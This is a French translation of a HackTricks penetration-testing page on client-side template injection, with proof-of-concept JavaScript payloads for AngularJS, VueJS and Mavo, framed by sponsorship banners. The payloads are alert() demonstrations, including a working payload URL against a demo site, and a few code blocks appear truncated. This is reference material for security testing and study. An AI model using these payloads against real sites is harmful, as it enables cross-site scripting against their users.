Apprenez le piratage AWS de zéro à héros avechtARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
# Résumé
C'est comme une [**Injection de Modèle Côté Serveur**](ssti-server-side-template-injection/) mais côté **client**. Le **SSTI** peut vous permettre d'**exécuter du code** sur le serveur distant, le **CSTI** pourrait vous permettre d'**exécuter du code JavaScript arbitraire** dans le navigateur de la victime.
Le **test** de cette vulnérabilité est très **similaire** à celui du **SSTI**, l'interpréteur attend **un modèle** et l'exécutera. Par exemple, avec une charge utile comme `{{ 7-7 }}`, si l'application est **vulnérable**, vous verrez un `0`, sinon, vous verrez l'original : `{{ 7-7 }}`
# AngularJS
AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML à travers des attributs connus sous le nom de directives, dont une notable est **`ng-app`**. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.
Dans les scénarios où une entrée utilisateur est insérée dynamiquement dans le corps HTML balisé avec `ng-app`, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en exploitant la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment du code JavaScript peut être exécuté :
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
```
Vous pouvez trouver un exemple en ligne très **basique** de la vulnérabilité dans **AngularJS** sur [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) et dans **[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**
{% hint style="danger" %}
[**Angular 1.6 a supprimé le bac à sable**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) donc à partir de cette version, une charge utile comme `{{constructor.constructor('alert(1)')()}}` ou `` devrait fonctionner.
{% endhint %}
# VueJS
Vous pouvez trouver une implémentation **Vue** vulnérable sur [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Charge utile fonctionnelle: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
Et le **code source** de l'exemple vulnérable est ici: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
">
aaa
```
Un très bon article sur CSTI en VUE peut être trouvé sur [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
## **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Crédit : [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
## **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Crédit: [Mario Heiderich](https://twitter.com/cure53berlin)
**Consultez plus de charges utiles VUE dans** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
# Mavo
Charge utile:
```
[7*7]
[(1,alert)(1)]
{{top.alert(1)}}
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
test
lolxself.alert('lol')lolx
test
[self.alert(1)mod1]
```
**Plus de charges utiles dans** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
# **Liste de détection de force brute**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Apprenez le piratage AWS de zéro à héros avechtARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.